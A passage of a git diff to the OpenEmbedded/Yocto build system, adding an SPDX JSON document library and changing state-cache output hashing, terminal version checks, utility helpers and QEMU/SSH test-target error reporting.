+ if isinstance(fn, io.IOBase):
+ yield fn
+ else:
+ with fn.open("rb") as f:
+ yield f
+
+ with get_file() as f:
+ sha1 = hashlib.sha1()
+ while True:
+ chunk = f.read(4096)
+ if not chunk:
+ break
+ sha1.update(chunk)
+
+ f.seek(0)
+ doc = oe.spdx.SPDXDocument.from_json(f)
+
+ return (doc, sha1.hexdigest())
diff --git a/meta/lib/oe/spdx.py b/meta/lib/oe/spdx.py
new file mode 100644
index 0000000000..9e7ced5a15
--- /dev/null
+++ b/meta/lib/oe/spdx.py
@@ -0,0 +1,339 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+#
+# This library is intended to capture the JSON SPDX specification in a type
+# safe manner. It is not intended to encode any particular OE specific
+# behaviors, see the sbom.py for that.
+#
+# The documented SPDX spec document doesn't cover the JSON syntax for
+# particular configuration, which can make it hard to determine what the JSON
+# syntax should be. I've found it is actually much simpler to read the official
+# SPDX JSON schema which can be found here: https://github.com/spdx/spdx-spec
+# in schemas/spdx-schema.json
+#
+
+import hashlib
+import itertools
+import json
+
+SPDX_VERSION = "2.2"
+
+
+#
+# The following are the support classes that are used to implement SPDX object
+#
+
+class _Property(object):
+ """
+ A generic SPDX object property. The different types will derive from this
+ class
+ """
+
+ def __init__(self, *, default=None):
+ self.default = default
+
+ def setdefault(self, dest, name):
+ if self.default is not None:
+ dest.setdefault(name, self.default)
+
+
+class _String(_Property):
+ """
+ A scalar string property for an SPDX object
+ """
+
+ def __init__(self, **kwargs):
+ super().__init__(**kwargs)
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = value
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper, del_helper)
+
+ def init(self, source):
+ return source
+
+
+class _Object(_Property):
+ """
+ A scalar SPDX object property of a SPDX object
+ """
+
+ def __init__(self, cls, **kwargs):
+ super().__init__(**kwargs)
+ self.cls = cls
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ if not name in obj._spdx:
+ obj._spdx[name] = self.cls()
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = value
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper)
+
+ def init(self, source):
+ return self.cls(**source)
+
+
+class _ListProperty(_Property):
+ """
+ A list of SPDX properties
+ """
+
+ def __init__(self, prop, **kwargs):
+ super().__init__(**kwargs)
+ self.prop = prop
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ if not name in obj._spdx:
+ obj._spdx[name] = []
+ return obj._spdx[name]
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, None, del_helper)
+
+ def init(self, source):
+ return [self.prop.init(o) for o in source]
+
+
+class _StringList(_ListProperty):
+ """
+ A list of strings as a property for an SPDX object
+ """
+
+ def __init__(self, **kwargs):
+ super().__init__(_String(), **kwargs)
+
+
+class _ObjectList(_ListProperty):
+ """
+ A list of SPDX objects as a property for an SPDX object
+ """
+
+ def __init__(self, cls, **kwargs):
+ super().__init__(_Object(cls), **kwargs)
+
+
+class MetaSPDXObject(type):
+ """
+ A metaclass that allows properties (anything derived from a _Property
+ class) to be defined for a SPDX object
+ """
+ def __new__(mcls, name, bases, attrs):
+ attrs["_properties"] = {}
+
+ for key in attrs.keys():
+ if isinstance(attrs[key], _Property):
+ prop = attrs[key]
+ attrs["_properties"][key] = prop
+ prop.set_property(attrs, key)
+
+ return super().__new__(mcls, name, bases, attrs)
+
+
+class SPDXObject(metaclass=MetaSPDXObject):
+ """
+ The base SPDX object; all SPDX spec classes must derive from this class
+ """
+ def __init__(self, **d):
+ self._spdx = {}
+
+ for name, prop in self._properties.items():
+ prop.setdefault(self._spdx, name)
+ if name in d:
+ self._spdx[name] = prop.init(d[name])
+
+ def serializer(self):
+ return self._spdx
+
+ def __setattr__(self, name, value):
+ if name in self._properties or name == "_spdx":
+ super().__setattr__(name, value)
+ return
+ raise KeyError("%r is not a valid SPDX property" % name)
+
+#
+# These are the SPDX objects implemented from the spec. The *only* properties
+# that can be added to these objects are ones directly specified in the SPDX
+# spec, however you may add helper functions to make operations easier.
+#
+# Defaults should *only* be specified if the SPDX spec says there is a certain
+# required value for a field (e.g. dataLicense), or if the field is mandatory
+# and has some sane "this field is unknown" (e.g. "NOASSERTION")
+#
+
+class SPDXAnnotation(SPDXObject):
+ annotationDate = _String()
+ annotationType = _String()
+ annotator = _String()
+ comment = _String()
+
+class SPDXChecksum(SPDXObject):
+ algorithm = _String()
+ checksumValue = _String()
+
+
+class SPDXRelationship(SPDXObject):
+ spdxElementId = _String()
+ relatedSpdxElement = _String()
+ relationshipType = _String()
+ comment = _String()
+ annotations = _ObjectList(SPDXAnnotation)
+
+
+class SPDXExternalReference(SPDXObject):
+ referenceCategory = _String()
+ referenceType = _String()
+ referenceLocator = _String()
+
+
+class SPDXPackageVerificationCode(SPDXObject):
+ packageVerificationCodeValue = _String()
+ packageVerificationCodeExcludedFiles = _StringList()
+
+
+class SPDXPackage(SPDXObject):
+ name = _String()
+ SPDXID = _String()
+ versionInfo = _String()
+ downloadLocation = _String(default="NOASSERTION")
+ packageSupplier = _String(default="NOASSERTION")
+ homepage = _String()
+ licenseConcluded = _String(default="NOASSERTION")
+ licenseDeclared = _String(default="NOASSERTION")
+ summary = _String()
+ description = _String()
+ sourceInfo = _String()
+ copyrightText = _String(default="NOASSERTION")
+ licenseInfoFromFiles = _StringList(default=["NOASSERTION"])
+ externalRefs = _ObjectList(SPDXExternalReference)
+ packageVerificationCode = _Object(SPDXPackageVerificationCode)
+ hasFiles = _StringList()
+ packageFileName = _String()
+ annotations = _ObjectList(SPDXAnnotation)
+
+
+class SPDXFile(SPDXObject):
+ SPDXID = _String()
+ fileName = _String()
+ licenseConcluded = _String(default="NOASSERTION")
+ copyrightText = _String(default="NOASSERTION")
+ licenseInfoInFiles = _StringList(default=["NOASSERTION"])
+ checksums = _ObjectList(SPDXChecksum)
+ fileTypes = _StringList()
+
+
+class SPDXCreationInfo(SPDXObject):
+ created = _String()
+ licenseListVersion = _String()
+ comment = _String()
+ creators = _StringList()
+
+
+class SPDXExternalDocumentRef(SPDXObject):
+ externalDocumentId = _String()
+ spdxDocument = _String()
+ checksum = _Object(SPDXChecksum)
+
+
+class SPDXExtractedLicensingInfo(SPDXObject):
+ name = _String()
+ comment = _String()
+ licenseId = _String()
+ extractedText = _String()
+
+
+class SPDXDocument(SPDXObject):
+ spdxVersion = _String(default="SPDX-" + SPDX_VERSION)
+ dataLicense = _String(default="CC0-1.0")
+ SPDXID = _String(default="SPDXRef-DOCUMENT")
+ name = _String()
+ documentNamespace = _String()
+ creationInfo = _Object(SPDXCreationInfo)
+ packages = _ObjectList(SPDXPackage)
+ files = _ObjectList(SPDXFile)
+ relationships = _ObjectList(SPDXRelationship)
+ externalDocumentRefs = _ObjectList(SPDXExternalDocumentRef)
+ hasExtractedLicensingInfos = _ObjectList(SPDXExtractedLicensingInfo)
+
+ def __init__(self, **d):
+ super().__init__(**d)
+
+ def to_json(self, f, *, sort_keys=False, indent=None, separators=None):
+ class Encoder(json.JSONEncoder):
+ def default(self, o):
+ if isinstance(o, SPDXObject):
+ return o.serializer()
+
+ return super().default(o)
+
+ sha1 = hashlib.sha1()
+ for chunk in Encoder(
+ sort_keys=sort_keys,
+ indent=indent,
+ separators=separators,
+ ).iterencode(self):
+ chunk = chunk.encode("utf-8")
+ f.write(chunk)
+ sha1.update(chunk)
+
+ return sha1.hexdigest()
+
+ @classmethod
+ def from_json(cls, f):
+ return cls(**json.load(f))
+
+ def add_relationship(self, _from, relationship, _to, *, comment=None, annotation=None):
+ if isinstance(_from, SPDXObject):
+ from_spdxid = _from.SPDXID
+ else:
+ from_spdxid = _from
+
+ if isinstance(_to, SPDXObject):
+ to_spdxid = _to.SPDXID
+ else:
+ to_spdxid = _to
+
+ r = SPDXRelationship(
+ spdxElementId=from_spdxid,
+ relatedSpdxElement=to_spdxid,
+ relationshipType=relationship,
+ )
+
+ if comment is not None:
+ r.comment = comment
+
+ if annotation is not None:
+ r.annotations.append(annotation)
+
+ self.relationships.append(r)
+
+ def find_by_spdxid(self, spdxid):
+ for o in itertools.chain(self.packages, self.files):
+ if o.SPDXID == spdxid:
+ return o
+ return None
+
+ def find_external_document_ref(self, namespace):
+ for r in self.externalDocumentRefs:
+ if r.spdxDocument == namespace:
+ return r
+ return None
diff --git a/meta/lib/oe/sstatesig.py b/meta/lib/oe/sstatesig.py
index adfe2e403b..038404e377 100644
--- a/meta/lib/oe/sstatesig.py
+++ b/meta/lib/oe/sstatesig.py
@@ -59,7 +59,7 @@ def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCaches):
return False
# Kernel modules are well namespaced. We don't want to depend on the kernel's checksum
- # if we're just doing an RRECOMMENDS_xxx = "kernel-module-*", not least because the checksum
+ # if we're just doing an RRECOMMENDS:xxx = "kernel-module-*", not least because the checksum
# is machine specific.
# Therefore if we're not a kernel or a module recipe (inheriting the kernel classes)
# and we reccomend a kernel-module, we exclude the dependency.
@@ -108,7 +108,6 @@ class SignatureGeneratorOEBasicHashMixIn(object):
self.unlockedrecipes = (data.getVar("SIGGEN_UNLOCKED_RECIPES") or
"").split()
self.unlockedrecipes = { k: "" for k in self.unlockedrecipes }
- self.buildarch = data.getVar('BUILD_ARCH')
self._internal = False
pass
@@ -147,13 +146,6 @@ class SignatureGeneratorOEBasicHashMixIn(object):
self.dump_lockedsigs(sigfile)
return super(bb.siggen.SignatureGeneratorBasicHash, self).dump_sigs(dataCache, options)
- def prep_taskhash(self, tid, deps, dataCaches):
- super().prep_taskhash(tid, deps, dataCaches)
- if hasattr(self, "extramethod"):
- (mc, _, _, fn) = bb.runqueue.split_tid_mcfn(tid)
- inherits = " ".join(dataCaches[mc].inherits[fn])
- if inherits.find("/native.bbclass") != -1 or inherits.find("/cross.bbclass") != -1:
- self.extramethod[tid] = ":" + self.buildarch
def get_taskhash(self, tid, deps, dataCaches):
if tid in self.lockedhashes:
@@ -246,15 +238,26 @@ class SignatureGeneratorOEBasicHashMixIn(object):
continue
f.write(" " + self.lockedpnmap[fn] + ":" + task + ":" + self.get_unihash(tid) + " \\\n")
f.write(' "\n')
- f.write('SIGGEN_LOCKEDSIGS_TYPES_%s = "%s"' % (self.machine, " ".join(l)))
+ f.write('SIGGEN_LOCKEDSIGS_TYPES:%s = "%s"' % (self.machine, " ".join(l)))
+
+ def dump_siglist(self, sigfile, path_prefix_strip=None):
+ def strip_fn(fn):
+ nonlocal path_prefix_strip
+ if not path_prefix_strip:
+ return fn
+
+ fn_exp = fn.split(":")
+ if fn_exp[-1].startswith(path_prefix_strip):
+ fn_exp[-1] = fn_exp[-1][len(path_prefix_strip):]
+
+ return ":".join(fn_exp)
- def dump_siglist(self, sigfile):
with open(sigfile, "w") as f:
tasks = []
for taskitem in self.taskhash:
(fn, task) = taskitem.rsplit(":", 1)
pn = self.lockedpnmap[fn]
- tasks.append((pn, task, fn, self.taskhash[taskitem]))
+ tasks.append((pn, task, strip_fn(fn), self.taskhash[taskitem]))
for (pn, task, fn, taskhash) in sorted(tasks):
f.write('%s:%s %s %s\n' % (pn, task, fn, taskhash))
@@ -453,7 +456,7 @@ def find_sstate_manifest(taskdata, taskdata2, taskname, d, multilibcache):
manifest = d2.expand("${SSTATE_MANIFESTS}/manifest-%s-%s.%s" % (pkgarch, taskdata, taskname))
if os.path.exists(manifest):
return manifest, d2
- bb.warn("Manifest %s not found in %s (variant '%s')?" % (manifest, d2.expand(" ".join(pkgarchs)), variant))
+ bb.fatal("Manifest %s not found in %s (variant '%s')?" % (manifest, d2.expand(" ".join(pkgarchs)), variant))
return None, d2
def OEOuthashBasic(path, sigfile, task, d):
@@ -467,6 +470,8 @@ def OEOuthashBasic(path, sigfile, task, d):
import stat
import pwd
import grp
+ import re
+ import fnmatch
def update_hash(s):
s = s.encode('utf-8')
@@ -476,16 +481,29 @@ def OEOuthashBasic(path, sigfile, task, d):
h = hashlib.sha256()
prev_dir = os.getcwd()
+ corebase = d.getVar("COREBASE")
+ tmpdir = d.getVar("TMPDIR")
include_owners = os.environ.get('PSEUDO_DISABLED') == '0'
if "package_write_" in task or task == "package_qa":
include_owners = False
include_timestamps = False
+ include_root = True
if task == "package":
- include_timestamps = d.getVar('BUILD_REPRODUCIBLE_BINARIES') == '1'
+ include_timestamps = True
+ include_root = False
extra_content = d.getVar('HASHEQUIV_HASH_VERSION')
+ filemaps = {}
+ for m in (d.getVar('SSTATE_HASHEQUIV_FILEMAP') or '').split():
+ entry = m.split(":")
+ if len(entry) != 3 or entry[0] != task:
+ continue
+ filemaps.setdefault(entry[1], [])
+ filemaps[entry[1]].append(entry[2])
+
try:
os.chdir(path)
+ basepath = os.path.normpath(path)
update_hash("OEOuthashBasic\n")
if extra_content:
@@ -534,27 +552,30 @@ def OEOuthashBasic(path, sigfile, task, d):
else:
add_perm(stat.S_IXUSR, 'x')
- add_perm(stat.S_IRGRP, 'r')
- add_perm(stat.S_IWGRP, 'w')
- if stat.S_ISGID & s.st_mode:
- add_perm(stat.S_IXGRP, 's', 'S')
- else:
- add_perm(stat.S_IXGRP, 'x')
+ if include_owners:
+ # Group/other permissions are only relevant in pseudo context
+ add_perm(stat.S_IRGRP, 'r')
+ add_perm(stat.S_IWGRP, 'w')
+ if stat.S_ISGID & s.st_mode:
+ add_perm(stat.S_IXGRP, 's', 'S')
+ else:
+ add_perm(stat.S_IXGRP, 'x')
- add_perm(stat.S_IROTH, 'r')
- add_perm(stat.S_IWOTH, 'w')
- if stat.S_ISVTX & s.st_mode:
- update_hash('t')
- else:
- add_perm(stat.S_IXOTH, 'x')
+ add_perm(stat.S_IROTH, 'r')
+ add_perm(stat.S_IWOTH, 'w')
+ if stat.S_ISVTX & s.st_mode:
+ update_hash('t')
+ else:
+ add_perm(stat.S_IXOTH, 'x')
- if include_owners:
try:
update_hash(" %10s" % pwd.getpwuid(s.st_uid).pw_name)
update_hash(" %10s" % grp.getgrgid(s.st_gid).gr_name)
- except KeyError:
+ except KeyError as e:
bb.warn("KeyError in %s" % path)
- raise
+ msg = ("KeyError: %s\nPath %s is owned by uid %d, gid %d, which doesn't match "
+ "any user/group on target. This may be due to host contamination." % (e, path, s.st_uid, s.st_gid))
+ raise Exception(msg).with_traceback(e.__traceback__)
if include_timestamps:
update_hash(" %10d" % s.st_mtime)
@@ -565,8 +586,13 @@ def OEOuthashBasic(path, sigfile, task, d):
else:
update_hash(" " * 9)
+ filterfile = False
+ for entry in filemaps:
+ if fnmatch.fnmatch(path, entry):
+ filterfile = True
+
update_hash(" ")
- if stat.S_ISREG(s.st_mode):
+ if stat.S_ISREG(s.st_mode) and not filterfile:
update_hash("%10d" % s.st_size)
else:
update_hash(" " * 10)
@@ -575,9 +601,24 @@ def OEOuthashBasic(path, sigfile, task, d):
fh = hashlib.sha256()
if stat.S_ISREG(s.st_mode):
# Hash file contents
- with open(path, 'rb') as d:
- for chunk in iter(lambda: d.read(4096), b""):
+ if filterfile:
+ # Need to ignore paths in crossscripts and postinst-useradd files.
+ with open(path, 'rb') as d:
+ chunk = d.read()
+ chunk = chunk.replace(bytes(basepath, encoding='utf8'), b'')
+ for entry in filemaps:
+ if not fnmatch.fnmatch(path, entry):
+ continue
+ for r in filemaps[entry]:
+ if r.startswith("regex-"):
+ chunk = re.sub(bytes(r[6:], encoding='utf8'), b'', chunk)
+ else:
+ chunk = chunk.replace(bytes(r, encoding='utf8'), b'')
fh.update(chunk)
+ else:
+ with open(path, 'rb') as d:
+ for chunk in iter(lambda: d.read(4096), b""):
+ fh.update(chunk)
update_hash(fh.hexdigest())
else:
update_hash(" " * len(fh.hexdigest()))
@@ -590,7 +631,8 @@ def OEOuthashBasic(path, sigfile, task, d):
update_hash("\n")
# Process this directory and all its child files
- process(root)
+ if include_root or root != ".":
+ process(root)
for f in files:
if f == 'fixmepath':
continue
diff --git a/meta/lib/oe/terminal.py b/meta/lib/oe/terminal.py
index eb10a6e33e..53186c4a3e 100644
--- a/meta/lib/oe/terminal.py
+++ b/meta/lib/oe/terminal.py
@@ -5,7 +5,6 @@ import logging
import oe.classutils
import shlex
from bb.process import Popen, ExecutionError
-from distutils.version import LooseVersion
logger = logging.getLogger('BitBake.OE.Terminal')
@@ -86,10 +85,10 @@ class Konsole(XTerminal):
def __init__(self, sh_cmd, title=None, env=None, d=None):
# Check version
vernum = check_terminal_version("konsole")
- if vernum and LooseVersion(vernum) < '2.0.0':
+ if vernum and bb.utils.vercmp_string_op(vernum, "2.0.0", "<"):
# Konsole from KDE 3.x
self.command = 'konsole -T "{title}" -e {command}'
- elif vernum and LooseVersion(vernum) < '16.08.1':
+ elif vernum and bb.utils.vercmp_string_op(vernum, "16.08.1", "<"):
# Konsole pre 16.08.01 Has nofork
self.command = 'konsole --nofork --workdir . -p tabtitle="{title}" -e {command}'
XTerminal.__init__(self, sh_cmd, title, env, d)
@@ -163,7 +162,12 @@ class Tmux(Terminal):
# devshells, if it's already there, add a new window to it.
window_name = 'devshell-%i' % os.getpid()
- self.command = 'tmux new -c "{{cwd}}" -d -s {0} -n {0} "{{command}}"'.format(window_name)
+ self.command = 'tmux new -c "{{cwd}}" -d -s {0} -n {0} "{{command}}"'
+ if not check_tmux_version('1.9'):
+ # `tmux new-session -c` was added in 1.9;
+ # older versions fail with that flag
+ self.command = 'tmux new -d -s {0} -n {0} "{{command}}"'
+ self.command = self.command.format(window_name)
Terminal.__init__(self, sh_cmd, title, env, d)
attach_cmd = 'tmux att -t {0}'.format(window_name)
@@ -185,7 +189,7 @@ class Custom(Terminal):
Terminal.__init__(self, sh_cmd, title, env, d)
logger.warning('Custom terminal was started.')
else:
- logger.debug(1, 'No custom terminal (OE_TERMINAL_CUSTOMCMD) set')
+ logger.debug('No custom terminal (OE_TERMINAL_CUSTOMCMD) set')
raise UnsupportedTerminal('OE_TERMINAL_CUSTOMCMD not set')
@@ -216,7 +220,7 @@ def spawn_preferred(sh_cmd, title=None, env=None, d=None):
def spawn(name, sh_cmd, title=None, env=None, d=None):
"""Spawn the specified terminal, by name"""
- logger.debug(1, 'Attempting to spawn terminal "%s"', name)
+ logger.debug('Attempting to spawn terminal "%s"', name)
try:
terminal = Registry.registry[name]
except KeyError:
@@ -253,13 +257,18 @@ def spawn(name, sh_cmd, title=None, env=None, d=None):
except OSError:
return
+def check_tmux_version(desired):
+ vernum = check_terminal_version("tmux")
+ if vernum and bb.utils.vercmp_string_op(vernum, desired, "<"):
+ return False
+ return vernum
+
def check_tmux_pane_size(tmux):
import subprocess as sub
# On older tmux versions (<1.9), return false. The reason
# is that there is no easy way to get the height of the active panel
# on current window without nested formats (available from version 1.9)
- vernum = check_terminal_version("tmux")
- if vernum and LooseVersion(vernum) < '1.9':
+ if not check_tmux_version('1.9'):
return False
try:
p = sub.Popen('%s list-panes -F "#{?pane_active,#{pane_height},}"' % tmux,
diff --git a/meta/lib/oe/utils.py b/meta/lib/oe/utils.py
index 468c76f30f..136650e6f7 100644
--- a/meta/lib/oe/utils.py
+++ b/meta/lib/oe/utils.py
@@ -193,7 +193,7 @@ def parallel_make(d, makeinst=False):
return int(v)
- return None
+ return ''
def parallel_make_argument(d, fmt, limit=None, makeinst=False):
"""
@@ -248,9 +248,9 @@ def trim_version(version, num_parts=2):
trimmed = ".".join(parts[:num_parts])
return trimmed
-def cpu_count(at_least=1):
+def cpu_count(at_least=1, at_most=64):
cpus = len(os.sched_getaffinity(0))
- return max(cpus, at_least)
+ return max(min(cpus, at_most), at_least)
def execute_pre_post_process(d, cmds):
if cmds is None:
@@ -344,7 +344,29 @@ def squashspaces(string):
import re
return re.sub(r"\s+", " ", string).strip()
-def format_pkg_list(pkg_dict, ret_format=None):
+def rprovides_map(pkgdata_dir, pkg_dict):
+ # Map file -> pkg provider
+ rprov_map = {}
+
+ for pkg in pkg_dict:
+ path_to_pkgfile = os.path.join(pkgdata_dir, 'runtime-reverse', pkg)
+ if not os.path.isfile(path_to_pkgfile):
+ continue
+ with open(path_to_pkgfile) as f:
+ for line in f:
+ if line.startswith('RPROVIDES') or line.startswith('FILERPROVIDES'):
+ # List all components provided by pkg.
+ # Exclude version strings, i.e. those starting with (
+ provides = [x for x in line.split()[1:] if not x.startswith('(')]
+ for prov in provides:
+ if prov in rprov_map:
+ rprov_map[prov].append(pkg)
+ else:
+ rprov_map[prov] = [pkg]
+
+ return rprov_map
+
+def format_pkg_list(pkg_dict, ret_format=None, pkgdata_dir=None):
output = []
if ret_format == "arch":
@@ -357,9 +379,15 @@ def format_pkg_list(pkg_dict, ret_format=None):
for pkg in sorted(pkg_dict):
output.append("%s %s %s" % (pkg, pkg_dict[pkg]["arch"], pkg_dict[pkg]["ver"]))
elif ret_format == "deps":
+ rprov_map = rprovides_map(pkgdata_dir, pkg_dict)
for pkg in sorted(pkg_dict):
for dep in pkg_dict[pkg]["deps"]:
- output.append("%s|%s" % (pkg, dep))
+ if dep in rprov_map:
+ # There could be multiple providers within the image
+ for pkg_provider in rprov_map[dep]:
+ output.append("%s|%s * %s [RPROVIDES]" % (pkg, pkg_provider, dep))
+ else:
+ output.append("%s|%s" % (pkg, dep))
else:
for pkg in sorted(pkg_dict):
output.append(pkg)
@@ -455,8 +483,8 @@ from threading import Thread
class ThreadedWorker(Thread):
"""Thread executing tasks from a given tasks queue"""
- def __init__(self, tasks, worker_init, worker_end):
- Thread.__init__(self)
+ def __init__(self, tasks, worker_init, worker_end, name=None):
+ Thread.__init__(self, name=name)
self.tasks = tasks
self.daemon = True
@@ -480,19 +508,19 @@ class ThreadedWorker(Thread):
try:
func(self, *args, **kargs)
except Exception as e:
- print(e)
+ # Eat all exceptions
+ bb.mainlogger.debug("Worker task raised %s" % e, exc_info=e)
finally:
self.tasks.task_done()
class ThreadedPool:
"""Pool of threads consuming tasks from a queue"""
- def __init__(self, num_workers, num_tasks, worker_init=None,
- worker_end=None):
+ def __init__(self, num_workers, num_tasks, worker_init=None, worker_end=None, name="ThreadedPool-"):
self.tasks = Queue(num_tasks)
self.workers = []
- for _ in range(num_workers):
- worker = ThreadedWorker(self.tasks, worker_init, worker_end)
+ for i in range(num_workers):
+ worker = ThreadedWorker(self.tasks, worker_init, worker_end, name=name + str(i))
self.workers.append(worker)
def start(self):
@@ -536,3 +564,34 @@ class ImageQAFailed(Exception):
def sh_quote(string):
import shlex
return shlex.quote(string)
+
+def directory_size(root, blocksize=4096):
+ """
+ Calculate the size of the directory, taking into account hard links,
+ rounding up every size to multiples of the blocksize.
+ """
+ def roundup(size):
+ """
+ Round the size up to the nearest multiple of the block size.
+ """
+ import math
+ return math.ceil(size / blocksize) * blocksize
+
+ def getsize(filename):
+ """
+ Get the size of the filename, not following symlinks, taking into
+ account hard links.
+ """
+ stat = os.lstat(filename)
+ if stat.st_ino not in inodes:
+ inodes.add(stat.st_ino)
+ return stat.st_size
+ else:
+ return 0
+
+ inodes = set()
+ total = 0
+ for root, dirs, files in os.walk(root):
+ total += sum(roundup(getsize(os.path.join(root, name))) for name in files)
+ total += roundup(getsize(root))
+ return total
diff --git a/meta/lib/oeqa/core/case.py b/meta/lib/oeqa/core/case.py
index aae451fef2..bc4446a938 100644
--- a/meta/lib/oeqa/core/case.py
+++ b/meta/lib/oeqa/core/case.py
@@ -43,8 +43,13 @@ class OETestCase(unittest.TestCase):
clss.tearDownClassMethod()
def _oeSetUp(self):
- for d in self.decorators:
- d.setUpDecorator()
+ try:
+ for d in self.decorators:
+ d.setUpDecorator()
+ except:
+ for d in self.decorators:
+ d.tearDownDecorator()
+ raise
self.setUpMethod()
def _oeTearDown(self):
diff --git a/meta/lib/oeqa/core/decorator/oetimeout.py b/meta/lib/oeqa/core/decorator/oetimeout.py
index df90d1c798..5e6873ad48 100644
--- a/meta/lib/oeqa/core/decorator/oetimeout.py
+++ b/meta/lib/oeqa/core/decorator/oetimeout.py
@@ -24,5 +24,6 @@ class OETimeout(OETestDecorator):
def tearDownDecorator(self):
signal.alarm(0)
- signal.signal(signal.SIGALRM, self.alarmSignal)
- self.logger.debug("Removed SIGALRM handler")
+ if hasattr(self, 'alarmSignal'):
+ signal.signal(signal.SIGALRM, self.alarmSignal)
+ self.logger.debug("Removed SIGALRM handler")
diff --git a/meta/lib/oeqa/core/target/qemu.py b/meta/lib/oeqa/core/target/qemu.py
index 0f29414df5..79fd724f7d 100644
--- a/meta/lib/oeqa/core/target/qemu.py
+++ b/meta/lib/oeqa/core/target/qemu.py
@@ -8,10 +8,13 @@ import os
import sys
import signal
import time
+import glob
+import subprocess
from collections import defaultdict
from .ssh import OESSHTarget
from oeqa.utils.qemurunner import QemuRunner
+from oeqa.utils.dump import MonitorDumper
from oeqa.utils.dump import TargetDumper
supported_fstypes = ['ext3', 'ext4', 'cpio.gz', 'wic']
@@ -21,7 +24,7 @@ class OEQemuTarget(OESSHTarget):
port=None, machine='', rootfs='', kernel='', kvm=False, slirp=False,
dump_dir='', dump_host_cmds='', display='', bootlog='',
tmpdir='', dir_image='', boottime=60, serial_ports=2,
- boot_patterns = defaultdict(str), ovmf=False, **kwargs):
+ boot_patterns = defaultdict(str), ovmf=False, tmpfsdir=None, **kwargs):
super(OEQemuTarget, self).__init__(logger, None, server_ip, timeout,
user, port)
@@ -35,6 +38,8 @@ class OEQemuTarget(OESSHTarget):
self.ovmf = ovmf
self.use_slirp = slirp
self.boot_patterns = boot_patterns
+ self.dump_dir = dump_dir
+ self.bootlog = bootlog
self.runner = QemuRunner(machine=machine, rootfs=rootfs, tmpdir=tmpdir,
deploy_dir_image=dir_image, display=display,
@@ -42,7 +47,12 @@ class OEQemuTarget(OESSHTarget):
use_kvm=kvm, use_slirp=slirp, dump_dir=dump_dir,
dump_host_cmds=dump_host_cmds, logger=logger,
serial_ports=serial_ports, boot_patterns = boot_patterns,
- use_ovmf=ovmf)
+ use_ovmf=ovmf, tmpfsdir=tmpfsdir)
+ dump_monitor_cmds = kwargs.get("testimage_dump_monitor")
+ self.monitor_dumper = MonitorDumper(dump_monitor_cmds, dump_dir, self.runner)
+ if self.monitor_dumper:
+ self.monitor_dumper.create_dir("qmp")
+
dump_target_cmds = kwargs.get("testimage_dump_target")
self.target_dumper = TargetDumper(dump_target_cmds, dump_dir, self.runner)
self.target_dumper.create_dir("qemu")
@@ -68,7 +78,28 @@ class OEQemuTarget(OESSHTarget):
self.server_ip = self.runner.server_ip
else:
self.stop()
- raise RuntimeError("FAILED to start qemu - check the task log and the boot log")
+ # Display the first 20 lines of top and
+ # last 20 lines of the bootlog when the
+ # target is not being booted up.
+ topfile = glob.glob(self.dump_dir + "/*_qemu/host_*_top")
+ msg = "\n\n===== start: snippet =====\n\n"
+ for f in topfile:
+ msg += "file: %s\n\n" % f
+ with open(f) as tf:
+ for x in range(20):
+ msg += next(tf)
+ msg += "\n\n===== end: snippet =====\n\n"
+ blcmd = ["tail", "-20", self.bootlog]
+ msg += "===== start: snippet =====\n\n"
+ try:
+ out = subprocess.check_output(blcmd, stderr=subprocess.STDOUT, timeout=1).decode('utf-8')
+ msg += "file: %s\n\n" % self.bootlog
+ msg += out
+ except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as err:
+ msg += "Error running command: %s\n%s\n" % (blcmd, err)
+ msg += "\n\n===== end: snippet =====\n"
+
+ raise RuntimeError("FAILED to start qemu - check the task log and the boot log %s" % (msg))
def stop(self):
self.runner.stop()
diff --git a/meta/lib/oeqa/core/target/ssh.py b/meta/lib/oeqa/core/target/ssh.py
index 461448dbc5..f956a7744f 100644
--- a/meta/lib/oeqa/core/target/ssh.py
+++ b/meta/lib/oeqa/core/target/ssh.py
@@ -43,6 +43,8 @@ class OESSHTarget(OETarget):
if port:
self.ssh = self.ssh + [ '-p', port ]
self.scp = self.scp + [ '-P', port ]
+ self._monitor_dumper = None
+ self.target_dumper = None
def start(self, **kwargs):
pass
@@ -50,6 +52,15 @@ class OESSHTarget(OETarget):
def stop(self, **kwargs):
pass
+ @property
+ def monitor_dumper(self):
+ return self._monitor_dumper
+
+ @monitor_dumper.setter
+ def monitor_dumper(self, dumper):
+ self._monitor_dumper = dumper
+ self.monitor_dumper.dump_monitor()
+
def _run(self, command, timeout=None, ignore_status=True):
"""
Runs command in target using SSHProcess.
@@ -87,9 +98,15 @@ class OESSHTarget(OETarget):
processTimeout = self.timeout
status, output = self._run(sshCmd, processTimeout, True)
- self.logger.debug('Command: %s\nOutput: %s\n' % (command, output))
+ self.logger.debug('Command: %s\nStatus: %d Output: %s\n' % (command, status, output))
if (status == 255) and (('No route to host') in output):
- self.target_dumper.dump_target()
+ if self.monitor_dumper:
+ self.monitor_dumper.dump_monitor()
+ if status == 255:
+ if self.target_dumper:
+ self.target_dumper.dump_target()
+ if self.monitor_dumper:
+ self.monitor_dumper.dump_monitor()
return (status, output)
def copyTo(self, localSrc, remoteDst):
diff --git a/meta/lib/oeqa/core/tests/cases/timeout.py b/meta/lib/oeqa/core/tests/cases/timeout.py
index 5dfecc7b7c..69cf969a67 100644
--- a/meta/lib/oeqa/core/tests/cases/timeout.py
+++ b/meta/lib/oeqa/core/tests/cases/timeout.py
@@ -8,6 +8,7 @@ from time import sleep
from oeqa.core.case import OETestCase
from oeqa.core.decorator.oetimeout import OETimeout
+from oeqa.core.decorator.depends import OETestDepends
class TimeoutTest(OETestCase):
@@ -19,3 +20,15 @@ class TimeoutTest(OETestCase):
def testTimeoutFail(self):
sleep(2)
self.assertTrue(True, msg='How is this possible?')
+
+
+ def testTimeoutSkip(self):
